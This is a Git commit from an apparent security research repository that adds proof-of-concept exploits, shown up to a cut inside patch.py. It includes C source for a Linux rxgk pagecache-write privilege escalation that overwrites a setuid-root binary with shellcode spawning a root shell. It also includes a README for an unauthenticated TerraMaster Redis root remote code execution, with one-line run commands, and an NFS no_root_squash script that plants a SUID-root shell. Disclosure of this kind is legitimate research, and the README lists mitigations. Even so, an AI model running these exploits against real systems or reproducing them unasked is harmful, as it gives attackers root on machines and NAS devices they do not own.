Merge branch 'v12-security:main' into main

This commit is contained in:
Roberto A. Foglietta 2026-05-18 10:22:13 +02:00 committed by GitHub
commit 30bb4cd61e
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
13 changed files with 2010 additions and 0 deletions

12
dirtydecrypt/README.md Normal file
View file

@ -0,0 +1,12 @@
# DirtyDecrypt / DirtyCBC
DirtyDecrypt, also known as DirtyCBC, is a variant of CopyFail / DirtyFrag / Fragnesia. We found and reported this on [May 9, 2026](https://x.com/v12sec/status/2053029838995263854), but was informed it was a duplicate by the maintainers. We're releasing it now since it's patched on mainline. It's a rxgk pagecache write due to missing COW guard in rxgk_decrypt_skb. See `poc.c` for more details.
DirtyDecrypt was discovered autonomously with [V12](https://v12.sh) by Aaron Esau of the [V12 security team](https://x.com/v12sec).
> Want to find issues like this in your own code? Try V12 at [v12.sh](https://v12.sh).
```
$ sha256sum ./poc.c
8054e424466ed2c353b94fb25643e17bef50b31be95038e1c700156357e2d74b ./poc.c
```

647
dirtydecrypt/poc.c Normal file
View file

@ -0,0 +1,647 @@
/*
* rxgk pagecache write PoC for missing COW guard in rxgk_decrypt_skb()
*
* net/rxrpc/rxgk_common.h: rxgk_decrypt_skb() does skb_to_sgvec() then
* crypto_krb5_decrypt() with no skb_cow_data(). The krb5enc AEAD template
* (crypto/krb5enc.c) decrypts in-place BEFORE verifying the HMAC. When skb
* frag pages are pagecache pages (via splice MSG_SPLICE_PAGES loopback),
* the in-place decrypt corrupts the page cache.
*
* The same pattern exists in rxkad (rxkad_verify_packet_2).
*
* Exploitation uses a sliding-window technique to write arbitrary bytes to the
* pagecache one at a time. Each round fires a spliced rxgk packet at offset
* S+i, corrupting a 16-byte AES block. Byte[0] of the output is uniformly
* random (1/256 chance of the target value). Round i+1 at offset S+i+1
* overwrites the 15 bytes of collateral from round i, but never touches the
* byte set by round i. This yields byte-granularity writes at ~256 fires per
* byte.
*
* Attack: rewrite /etc/passwd root entry empty password su root flag.
*
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <time.h>
#include <poll.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#ifdef __has_include
# if __has_include(<linux/rxrpc.h>)
# include <linux/if.h>
# include <linux/rxrpc.h>
# include <linux/keyctl.h>
# else
# define NEED_RXRPC_DEFS
# endif
#else
# include <linux/if.h>
# include <linux/rxrpc.h>
# include <linux/keyctl.h>
#endif
#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif
#ifndef SOL_RXRPC
#define SOL_RXRPC 272
#endif
#ifdef NEED_RXRPC_DEFS
#define KEY_SPEC_PROCESS_KEYRING (-2)
#define RXRPC_SECURITY_KEY 1
#define RXRPC_MIN_SECURITY_LEVEL 4
#define RXRPC_SECURITY_ENCRYPT 2
#define RXRPC_USER_CALL_ID 1
struct sockaddr_rxrpc {
unsigned short srx_family;
uint16_t srx_service;
uint16_t transport_type;
uint16_t transport_len;
union {
unsigned short family;
struct sockaddr_in sin;
struct sockaddr_in6 sin6;
} transport;
};
#endif
#define RXGK_SECURITY_INDEX 6
#define ENCTYPE_AES128_CTS 17
#define AES_KEY_LEN 16
struct rxrpc_wire_header {
uint32_t epoch;
uint32_t cid;
uint32_t callNumber;
uint32_t seq;
uint32_t serial;
uint8_t type;
uint8_t flags;
uint8_t userStatus;
uint8_t securityIndex;
uint16_t cksum;
uint16_t serviceId;
} __attribute__((packed));
#define RXRPC_PACKET_TYPE_DATA 1
#define RXRPC_PACKET_TYPE_CHALLENGE 6
#define RXRPC_LAST_PACKET 0x04
#define LOG(fmt, ...) fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__)
#define ERR(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
/* --- helpers --- */
static long key_add(const char *type, const char *desc,
const void *payload, size_t plen, int ringid)
{
return syscall(SYS_add_key, type, desc, payload, plen, ringid);
}
static int write_proc(const char *path, const char *buf)
{
int fd = open(path, O_WRONLY);
if (fd < 0) return -1;
int n = write(fd, buf, strlen(buf));
close(fd);
return n;
}
/* --- user/net namespace --- */
static void setup_ns(void)
{
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
if (unshare(CLONE_NEWNET) < 0) {
perror("unshare");
exit(1);
}
} else {
write_proc("/proc/self/setgroups", "deny");
char map[64];
snprintf(map, sizeof(map), "0 %u 1", uid);
write_proc("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %u 1", gid);
write_proc("/proc/self/gid_map", map);
}
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s >= 0) {
struct ifreq ifr = {};
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(s, SIOCSIFFLAGS, &ifr);
}
close(s);
}
}
/* --- rxgk XDR token construction --- */
static void xdr_put32(uint8_t **pp, uint32_t val)
{
uint32_t nv = htonl(val);
memcpy(*pp, &nv, 4);
*pp += 4;
}
static void xdr_put64(uint8_t **pp, uint64_t val)
{
xdr_put32(pp, (uint32_t)(val >> 32));
xdr_put32(pp, (uint32_t)(val & 0xFFFFFFFF));
}
static void xdr_put_data(uint8_t **pp, const void *data, size_t len)
{
xdr_put32(pp, (uint32_t)len);
memcpy(*pp, data, len);
*pp += len;
size_t pad = (4 - (len & 3)) & 3;
if (pad) { memset(*pp, 0, pad); *pp += pad; }
}
static int build_rxgk_token(uint8_t *out, size_t maxlen,
const uint8_t *base_key, size_t keylen)
{
uint8_t *p = out;
struct timespec ts;
clock_gettime(CLOCK_REALTIME, &ts);
uint64_t now = (uint64_t)ts.tv_sec * 10000000ULL +
(uint64_t)ts.tv_nsec / 100ULL;
xdr_put32(&p, 0); /* flags */
xdr_put_data(&p, "poc.test", 8); /* cell */
xdr_put32(&p, 1); /* ntoken */
uint8_t tok[512];
uint8_t *tp = tok;
xdr_put32(&tp, RXGK_SECURITY_INDEX);
xdr_put64(&tp, now); /* begintime */
xdr_put64(&tp, now + 864000000000ULL); /* endtime */
xdr_put64(&tp, 2); /* level = ENCRYPT */
xdr_put64(&tp, 864000000000ULL); /* lifetime */
xdr_put64(&tp, 0); /* bytelife */
xdr_put64(&tp, ENCTYPE_AES128_CTS); /* enctype */
xdr_put_data(&tp, base_key, keylen); /* key */
uint8_t ticket[8] = {0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE};
xdr_put_data(&tp, ticket, sizeof(ticket));
size_t toklen = (size_t)(tp - tok);
xdr_put32(&p, (uint32_t)toklen);
memcpy(p, tok, toklen);
p += toklen;
if ((size_t)(p - out) > maxlen) return -1;
return (int)(p - out);
}
static long add_rxgk_key(const char *desc, const uint8_t *base_key, size_t keylen)
{
uint8_t buf[1024];
int n = build_rxgk_token(buf, sizeof(buf), base_key, keylen);
if (n < 0) return -1;
return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
}
/* --- AF_RXRPC client + fake UDP server --- */
static int setup_rxrpc_client(uint16_t local_port, const char *keyname)
{
int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (fd < 0) return -1;
if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
keyname, strlen(keyname)) < 0) {
close(fd); return -1;
}
int min_level = RXRPC_SECURITY_ENCRYPT;
if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
&min_level, sizeof(min_level)) < 0) {
close(fd); return -1;
}
struct sockaddr_rxrpc srx = {0};
srx.srx_family = AF_RXRPC;
srx.srx_service = 0;
srx.transport_type = SOCK_DGRAM;
srx.transport_len = sizeof(struct sockaddr_in);
srx.transport.sin.sin_family = AF_INET;
srx.transport.sin.sin_port = htons(local_port);
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
close(fd); return -1;
}
return fd;
}
static int initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id)
{
char data[] = "TESTDATA";
struct sockaddr_rxrpc srx = {0};
srx.srx_family = AF_RXRPC;
srx.srx_service = service_id;
srx.transport_type = SOCK_DGRAM;
srx.transport_len = sizeof(struct sockaddr_in);
srx.transport.sin.sin_family = AF_INET;
srx.transport.sin.sin_port = htons(srv_port);
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
struct msghdr msg = {0};
msg.msg_name = &srx;
msg.msg_namelen = sizeof(srx);
struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) };
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cmsg_buf;
msg.msg_controllen = sizeof(cmsg_buf);
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_RXRPC;
cmsg->cmsg_type = RXRPC_USER_CALL_ID;
cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long));
*(unsigned long *)CMSG_DATA(cmsg) = 0xDEAD;
int fl = fcntl(cli_fd, F_GETFL);
fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK);
ssize_t n = sendmsg(cli_fd, &msg, 0);
fcntl(cli_fd, F_SETFL, fl);
if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK)
return -1;
return 0;
}
static int setup_udp_server(uint16_t port)
{
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) return -1;
struct sockaddr_in sa = {
.sin_family = AF_INET,
.sin_port = htons(port),
.sin_addr.s_addr = htonl(0x7F000001),
};
int one = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
close(s); return -1;
}
return s;
}
static ssize_t udp_recv(int s, void *buf, size_t cap,
struct sockaddr_in *from, int timeout_ms)
{
struct pollfd pfd = { .fd = s, .events = POLLIN };
if (poll(&pfd, 1, timeout_ms) <= 0) return -1;
socklen_t fl = from ? sizeof(*from) : 0;
return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL);
}
/*
* Fire one splice-based pagecache corruption at the given file offset.
* Sets up an rxgk connection with the provided key, completes the handshake
* via a fake UDP server on loopback, then splices pagecache pages into a
* forged DATA packet. The kernel's in-place decrypt corrupts the pagecache.
*
* Returns 1 on fire, -1 on setup error.
*/
static int trigger_seq = 0;
static int fire(int target_fd, off_t splice_off, size_t splice_len,
const uint8_t *base_key, size_t keylen)
{
char keyname[32];
snprintf(keyname, sizeof(keyname), "rxgk%d", trigger_seq++);
long key = add_rxgk_key(keyname, base_key, keylen);
if (key < 0) return -1;
/* Use high-entropy ports to avoid TIME_WAIT collisions */
uint16_t port_S = 10000 + (rand() % 27000) * 2;
uint16_t port_C = port_S + 1;
int ret = -1;
int udp_srv = setup_udp_server(port_S);
if (udp_srv < 0) goto out_key;
int cli = setup_rxrpc_client(port_C, keyname);
if (cli < 0) goto out_udp;
if (initiate_call(cli, port_S, 1234) < 0)
goto out_cli;
uint8_t pkt[2048];
struct sockaddr_in cli_addr;
ssize_t n = udp_recv(udp_srv, pkt, sizeof(pkt), &cli_addr, 50);
if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) goto out_cli;
struct rxrpc_wire_header *hdr = (struct rxrpc_wire_header *)pkt;
uint32_t epoch = ntohl(hdr->epoch);
uint32_t cid = ntohl(hdr->cid);
uint32_t callN = ntohl(hdr->callNumber);
uint16_t svc = ntohs(hdr->serviceId);
uint16_t cport = ntohs(cli_addr.sin_port);
/* send challenge */
{
uint8_t ch[sizeof(struct rxrpc_wire_header) + 20];
memset(ch, 0, sizeof(ch));
struct rxrpc_wire_header *c = (struct rxrpc_wire_header *)ch;
c->epoch = htonl(epoch);
c->cid = htonl(cid);
c->serial = htonl(0x10000);
c->type = RXRPC_PACKET_TYPE_CHALLENGE;
c->securityIndex = RXGK_SECURITY_INDEX;
c->serviceId = htons(svc);
for (int i = 0; i < 20; i++)
ch[sizeof(struct rxrpc_wire_header) + i] = rand() & 0xFF;
struct sockaddr_in to = { .sin_family = AF_INET,
.sin_port = htons(cport),
.sin_addr.s_addr = htonl(0x7F000001) };
sendto(udp_srv, ch, sizeof(ch), 0,
(struct sockaddr *)&to, sizeof(to));
}
/* drain response(s) */
for (int i = 0; i < 3; i++) {
struct sockaddr_in src;
if (udp_recv(udp_srv, pkt, sizeof(pkt), &src, 5) < 0) break;
}
/* forge DATA packet: wire header from userspace, payload from pagecache */
struct rxrpc_wire_header mal = {0};
mal.epoch = htonl(epoch);
mal.cid = htonl(cid);
mal.callNumber = htonl(callN);
mal.seq = htonl(1);
mal.serial = htonl(0x42000);
mal.type = RXRPC_PACKET_TYPE_DATA;
mal.flags = RXRPC_LAST_PACKET;
mal.securityIndex = RXGK_SECURITY_INDEX;
mal.serviceId = htons(svc);
struct sockaddr_in dst = { .sin_family = AF_INET,
.sin_port = htons(cport),
.sin_addr.s_addr = htonl(0x7F000001) };
if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0)
goto out_cli;
int p[2];
if (pipe(p) < 0) goto out_cli;
struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) };
if (vmsplice(p[1], &viv, 1, 0) < 0)
{ close(p[0]); close(p[1]); goto out_cli; }
loff_t off = splice_off;
if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0)
{ close(p[0]); close(p[1]); goto out_cli; }
if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0)
{ close(p[0]); close(p[1]); goto out_cli; }
close(p[0]); close(p[1]);
usleep(1000);
/* drain the error from the client socket (HMAC check fails as expected) */
int fl = fcntl(cli, F_GETFL);
fcntl(cli, F_SETFL, fl | O_NONBLOCK);
for (int i = 0; i < 2; i++) {
char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256];
struct msghdr m = {0};
struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) };
m.msg_name = &srx; m.msg_namelen = sizeof(srx);
m.msg_iov = &iv; m.msg_iovlen = 1;
m.msg_control = ccb; m.msg_controllen = sizeof(ccb);
recvmsg(cli, &m, 0);
}
ret = 1;
out_cli:
close(cli);
out_udp:
close(udp_srv);
out_key:
syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, key, KEY_SPEC_PROCESS_KEYRING);
syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, key);
return ret;
}
/* --- sliding window write with progress display --- */
static void progress(int done, int total, int fires)
{
int width = 40;
int filled = total ? (done * width / total) : 0;
int pct = total ? (done * 100 / total) : 0;
fprintf(stderr, "\r [");
for (int j = 0; j < width; j++)
fputc(j < filled ? '=' : (j == filled ? '>' : ' '), stderr);
fprintf(stderr, "] %3d%% (%d/%d, %d fires)", pct, done, total, fires);
if (done == total) fputc('\n', stderr);
fflush(stderr);
}
static int pagecache_write(int rfd, void *map, off_t base,
const uint8_t *target, int len, off_t file_size,
const char *label)
{
uint8_t key[16];
uint64_t seed = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid();
struct timespec t0;
clock_gettime(CLOCK_MONOTONIC, &t0);
int total = 0;
int max_off = (int)(file_size - 28);
if (base + len - 1 > max_off)
len = max_off - (int)base + 1;
/* Find first byte that differs. We must write everything from there
* onward, because each round's 15-byte damage zone corrupts the next
* bytes even if they originally matched. */
int start = 0;
for (int i = 0; i < len; i++) {
uint8_t cur;
pread(rfd, &cur, 1, base + i);
if (cur != target[i]) { start = i; break; }
if (i == len - 1) {
LOG("pagecache already matches, skipping write");
return 0;
}
}
int need = len - start;
LOG("writing shellcode to %s (%d bytes from offset %d)",
label, need, (int)base + start);
progress(0, need, 0);
for (int i = start; i < len; i++) {
off_t off = base + i;
uint8_t want = target[i];
uint8_t cur;
pread(rfd, &cur, 1, off);
if (cur == want && i > start) {
/* Byte matches AND we haven't just written (no damage pending).
* This only happens for the first byte after start, which is
* impossible since start IS the first diff. After that, each
* round's damage means we always write. Just be safe: */
continue;
}
int ok = 0;
for (int att = 0; att < 10000; att++) {
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
uint64_t r = seed;
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
memcpy(key, &r, 8);
memcpy(key + 8, &seed, 8);
size_t slen = 28;
if (off + (off_t)slen > file_size) slen = file_size - off;
if (slen < 16) slen = 16;
int rc = fire(rfd, off, slen, key, AES_KEY_LEN);
total++;
if (rc == 1 && ((const uint8_t *)map)[off] == want) {
ok = 1;
progress(i - start + 1, need, total);
break;
}
}
if (!ok) {
fprintf(stderr, "\n");
ERR("byte %d/%d failed", i - start + 1, need);
return -1;
}
}
struct timespec t1;
clock_gettime(CLOCK_MONOTONIC, &t1);
double dt = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;
LOG("%d fires in %.1fs", total, dt);
return 0;
}
/* --- tiny ELF: setuid(0) + execve("/bin/sh") ---
* 120-byte ET_DYN ELF with overlapping phdr+header and /bin/sh in p_paddr.
* Matches the first 24 bytes of any PIE binary (ET_DYN, x86_64).
* PT_LOAD covers 120 bytes; the 15-byte sliding-window damage
* tail at offset 120+ is past the loadable segment. */
static const uint8_t tiny_elf[] = {
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00, 0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* code: */
0xb0,0x69,0x0f,0x05, /* setuid(0) */
0x48,0x8d,0x3d,0xdd,0xff,0xff,0xff, /* lea rdi, \"/bin/sh\" */
0x6a,0x3b,0x58, /* push 59; pop rax */
0x0f,0x05, /* execve(\"/bin/sh\", 0, 0) */
};
/* --- main --- */
int main(int argc, char **argv)
{
(void)argc; (void)argv;
srand(time(NULL) ^ getpid());
fprintf(stderr, "\n=== rxgk pagecache write ===\n");
fprintf(stderr, "uid=%u euid=%u\n", getuid(), geteuid());
/* Target: any setuid-root binary readable by us. */
const char *targets[] = { "/usr/bin/su", "/bin/su", "/usr/bin/mount",
"/usr/bin/passwd", "/usr/bin/chsh", NULL };
const char *target_path = NULL;
for (int i = 0; targets[i]; i++) {
struct stat sb;
if (stat(targets[i], &sb) == 0 &&
(sb.st_mode & S_ISUID) &&
sb.st_uid == 0 &&
access(targets[i], R_OK) == 0) {
target_path = targets[i];
break;
}
}
if (!target_path) { ERR("no readable setuid-root binary found"); return 1; }
/* Back up the target binary so the root shell can restore it. */
char backup[256];
const char *base = strrchr(target_path, '/');
base = base ? base + 1 : target_path;
snprintf(backup, sizeof(backup), "/tmp/.%s_%d", base, getpid());
{
int src = open(target_path, O_RDONLY);
int dst = open(backup, O_WRONLY | O_CREAT | O_TRUNC, 0600);
if (src >= 0 && dst >= 0) {
char buf[4096];
ssize_t n;
while ((n = read(src, buf, sizeof(buf))) > 0)
write(dst, buf, n);
}
if (src >= 0) close(src);
if (dst >= 0) close(dst);
}
int rfd = open(target_path, O_RDONLY);
if (rfd < 0) { perror(target_path); return 1; }
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0);
if (map == MAP_FAILED) { perror("mmap"); return 1; }
pid_t pid = fork();
if (pid < 0) { perror("fork"); return 1; }
if (pid == 0) {
setup_ns();
usleep(10000);
int sock = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (sock < 0) { ERR("AF_RXRPC unavailable"); _exit(1); }
close(sock);
struct stat sb;
fstat(rfd, &sb);
_exit(pagecache_write(rfd, map, 0, tiny_elf, sizeof(tiny_elf), sb.st_size, target_path) < 0 ? 2 : 0);
}
int st;
waitpid(pid, &st, 0);
if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) {
ERR("corruption failed (status 0x%x)", st);
unlink(backup);
return 1;
}
munmap(map, 4096);
close(rfd);
LOG("exec %s", target_path);
LOG("restore: cp %s %s", backup, target_path);
fflush(stderr);
execlp(target_path, target_path, (char *)NULL);
perror(target_path);
return 1;
}

241
terramaster/README.md Normal file
View file

@ -0,0 +1,241 @@
# TossUp: TerraMaster TOS Redis RCE
<p align="center">
<img width="50%" alt="tossup logo" src="https://github.com/user-attachments/assets/8ed17d2c-f42f-4d9f-a5fc-c9f294a8ab5d" />
</p>
## Abstract
https://github.com/user-attachments/assets/12573e6d-b29a-4189-b71c-a44a21ca8e62
TossUp is a pair of bugs against TerraMaster TOS3_A1.0 4.2.41 on RTD1296
devices: an unauthenticated Redis root RCE and a separate NFS
`no_root_squash` local privilege escalation.
TossUp was discovered with [V12](https://v12.sh) by Aaron Esau of the
[V12 security team](https://x.com/v12sec).
> Want to find issues like this in your own code? Try V12 at [v12.sh](https://v12.sh).
The LPE is not part of the Redis RCE chain because the RCE already executes as
root.
We also have a separate authentication bypass, likely upgradable to RCE, which
we will release in the near future.
The bug is simple: the NAS ships Redis 4.0.10 running as root, listening on
`0.0.0.0:6379`, with no authentication. The on-disk `/etc/redis.conf` contains
`bind 127.0.0.1`, but the init path starts Redis as `redis-server *:6379`
without using that config file.
The PoC uses standard Redis features to turn that exposure into root RCE:
1. `CONFIG SET` changes Redis' working directory and database filename.
2. `SLAVEOF` points the NAS at a rogue Redis master controlled by the attacker.
3. The rogue master sends an AArch64 Redis module as the replication payload.
4. Redis writes the payload to disk as `/tmp/.<random>.so`.
5. `MODULE LOAD` loads the module and registers `system.exec`.
6. `system.exec` runs shell commands through `popen()` as the Redis process,
which is root on the tested device.
We reported this to TerraMaster who stated TOS4 is EOL. They have not indicated intent to fix the bug, so we are releasing our POC.
## "TossUp"?
Because it's TOS and you upload a malicious module.
## Exploitation
Build the Redis module:
```
cd terramaster/rce
make
```
Run one command as root:
```
python3 poc.py <NAS_IP> --cmd "id"
```
Or start the interactive command loop:
```
python3 poc.py <NAS_IP>
```
One-line version:
```
git clone https://github.com/v12-security/pocs.git && cd pocs/terramaster/rce && make && python3 poc.py <NAS_IP> --cmd "id"
```
If the NAS cannot route back to the automatically selected attacker IP, provide
one explicitly:
```
python3 poc.py <NAS_IP> --lhost <ATTACKER_IP> --cmd "id"
```
The target must expose TCP/6379 to you, and it must be able to connect back to
the temporary rogue-master listener opened by `poc.py`.
## Building
The `rce/Makefile` builds an AArch64 Redis module:
```
aarch64-linux-gnu-gcc -shared -fPIC -nostartfiles -o module.so module.c
```
Install an AArch64 cross-compiler if `make` fails with a missing compiler
error. A prebuilt `module.so` is included for the tested RTD1296 target, but
rebuilding is recommended if you change the module or do not want to run the
checked-in binary.
## Cleanup
The PoC attempts to clean up after itself:
- `SLAVEOF NO ONE`
- restore the original Redis `dir`
- restore the original Redis `dbfilename`
- remove the dropped `/tmp/.<random>.so`
- `MODULE UNLOAD system`
If the script is interrupted after module loading, unload it manually:
```
redis-cli -h <NAS_IP> MODULE UNLOAD system
```
The dropped module path is printed during exploitation. Remove that file from
the NAS if cleanup did not run.
## How It Works
1. **Unauthenticated Redis check.** `poc.py` connects to `<NAS_IP>:6379`, sends
`PING`, and expects `+PONG`. It also queries `INFO server` to print useful
Redis details such as `redis_version`, `os`, `process_id`, and `tcp_port`.
2. **Drop-path setup.** The current Redis `dir` and `dbfilename` are saved.
The PoC then sets `dir` to `/tmp` and `dbfilename` to a random hidden
`.so` name.
3. **Rogue master startup.** The PoC opens a local TCP listener on an ephemeral
port. If `--lhost` is not provided, it chooses the local source address that
can reach the NAS.
4. **Replication trigger.** The PoC sends `SLAVEOF <lhost> <lport>` to the NAS.
Redis connects back to the rogue master and starts the normal replication
handshake.
5. **Module delivery.** The rogue master implements just enough Redis
replication protocol to answer `PING`/setup commands and then return
`FULLRESYNC` with `module.so` as the bulk payload. Redis writes that payload
to `/tmp/.<random>.so`.
6. **State restoration.** The PoC sends `SLAVEOF NO ONE` and restores the saved
`dir` and `dbfilename` values so Redis is no longer pointed at the rogue
master or `/tmp`.
7. **Module load.** The PoC reconnects, verifies Redis still does not require
auth, and sends `MODULE LOAD /tmp/.<random>.so`.
8. **Root command execution.** `module.c` registers a Redis command named
`system.exec`. Each call runs the supplied command with `popen()`, captures
up to 8191 bytes of stdout, and returns it as a Redis simple string.
9. **Interactive loop.** Without `--cmd`, `poc.py` provides a simple
`root@<host>#` command prompt over repeated `system.exec` calls. This is not
a real TTY; it is a command loop.
## Separate LPE: NFS no_root_squash
The `lpe/` directory contains a separate TerraMaster TOS local privilege
escalation. It is not needed for TossUp because the Redis RCE already executes
as root, but it is useful as a standalone issue for systems where an attacker
has code execution as an unprivileged NAS user.
The LPE abuses an NFS export that allows remote root to create root-owned files
on the NAS. `drop.sh` mounts the export from the client, copies a static
AArch64 helper binary, sets owner `0:0`, and sets mode `4755`. If the export is
not root-squashed, the NAS keeps those attributes. Any local NAS user can then
execute the dropped helper to get a root shell or run one command as root.
Build and drop the helper:
```
cd terramaster/lpe
make
sudo ./drop.sh <NAS_IP>
```
If auto-detection chooses the wrong export, provide one explicitly:
```
sudo ./drop.sh <NAS_IP> <export_path>
```
On success the script prints the dropped path:
```
[+] SUID-root binary dropped at <export_path>/.suid
```
Then, on the NAS as any user:
```
<export_path>/.suid
<export_path>/.suid id
```
The helper in `suid.c` is intentionally minimal: it calls `setuid(0)` and
`setgid(0)`, then either execs the supplied command or falls back to `/bin/sh`.
## Affected Versions
Confirmed on:
```
TOS3_A1.0 4.2.41
Redis 4.0.10
RTD1296 / AArch64
```
Other TerraMaster builds may be affected if all of these conditions hold:
- Redis listens on `0.0.0.0:6379`
- Redis has no authentication
- Redis accepts `CONFIG SET`, `SLAVEOF`, and `MODULE LOAD`
- Redis runs as root
- the loaded module matches the NAS CPU architecture
The NFS LPE is separate and depends on different conditions:
- the NAS exposes an NFS export reachable by the client
- the export allows writes from the client
- the export does not squash remote root
- the dropped helper matches the NAS CPU architecture
## Mitigation
For owners who do not want this behavior:
- block TCP/6379 from untrusted networks
- make Redis bind only to localhost
- require Redis authentication
- disable or rename dangerous Redis commands such as `CONFIG`, `SLAVEOF`, and
`MODULE`
- fix the init path so Redis actually uses the intended config file
- run Redis as an unprivileged service user
- root-squash NFS exports and avoid writable exports to untrusted clients
Because the tested product is EOL, network isolation is the practical first
line of defense.
## Credit
Found with V12 by Aaron Esau of the V12 security team: [v12.sh](https://v12.sh)
-- dangerously powerful agentic security.

10
terramaster/lpe/Makefile Normal file
View file

@ -0,0 +1,10 @@
CC := aarch64-linux-gnu-gcc
CFLAGS := -static
all: suid
suid: suid.c
$(CC) $(CFLAGS) -o $@ $<
clean:
rm -f suid

41
terramaster/lpe/drop.sh Executable file
View file

@ -0,0 +1,41 @@
#!/bin/bash
# TerraMaster TOS NFS no_root_squash LPE
# Drops a SUID-root shell on the NAS via NFS.
# Requires: sudo, aarch64-linux-gnu-gcc, nfs-common/nfs-utils
set -e
NAS="${1:?usage: sudo ./drop.sh <NAS_IP> [export_path]}"
EXPORT="${2:-}"
MNTDIR=$(mktemp -d)
cleanup() { sudo umount "$MNTDIR" 2>/dev/null; rmdir "$MNTDIR" 2>/dev/null; }
trap cleanup EXIT
# Build if needed
[ -f suid ] || make -C "$(dirname "$0")"
# Auto-detect export
if [ -z "$EXPORT" ]; then
EXPORT=$(showmount -e "$NAS" --no-headers 2>/dev/null | head -1 | awk '{print $1}')
[ -z "$EXPORT" ] && { echo "[!] No exports found, specify manually"; exit 1; }
echo "[*] Export: $EXPORT"
fi
# Mount and drop
sudo mount -t nfs -o vers=3 "$NAS:$EXPORT" "$MNTDIR"
sudo cp "$(dirname "$0")/suid" "$MNTDIR/.suid"
sudo chown 0:0 "$MNTDIR/.suid"
sudo chmod 4755 "$MNTDIR/.suid"
# Verify
OWNER=$(stat -c '%u' "$MNTDIR/.suid")
MODE=$(stat -c '%a' "$MNTDIR/.suid")
if [ "$OWNER" = "0" ] && [ "$MODE" = "4755" ]; then
echo "[+] SUID-root binary dropped at $EXPORT/.suid"
echo ""
echo " On the NAS as any user:"
echo " $EXPORT/.suid # root shell"
echo " $EXPORT/.suid id # run a command as root"
else
echo "[!] no_root_squash not active (owner=$OWNER mode=$MODE)"
fi

BIN
terramaster/lpe/suid Executable file

Binary file not shown.

9
terramaster/lpe/suid.c Normal file
View file

@ -0,0 +1,9 @@
#include <unistd.h>
int main(int argc, char **argv) {
setuid(0);
setgid(0);
if (argc > 1)
execvp(argv[1], argv + 1);
else
execl("/bin/sh", "sh", NULL);
}

208
terramaster/patch.py Normal file
View file

@ -0,0 +1,208 @@
#!/usr/bin/env python3
"""
patch.py Exploit TerraMaster TOS Redis RCE to patch both vulnerabilities.
Bug 1 (RCE): /etc/init.d/redis is a symlink to /usr/sbin/desh, which runs
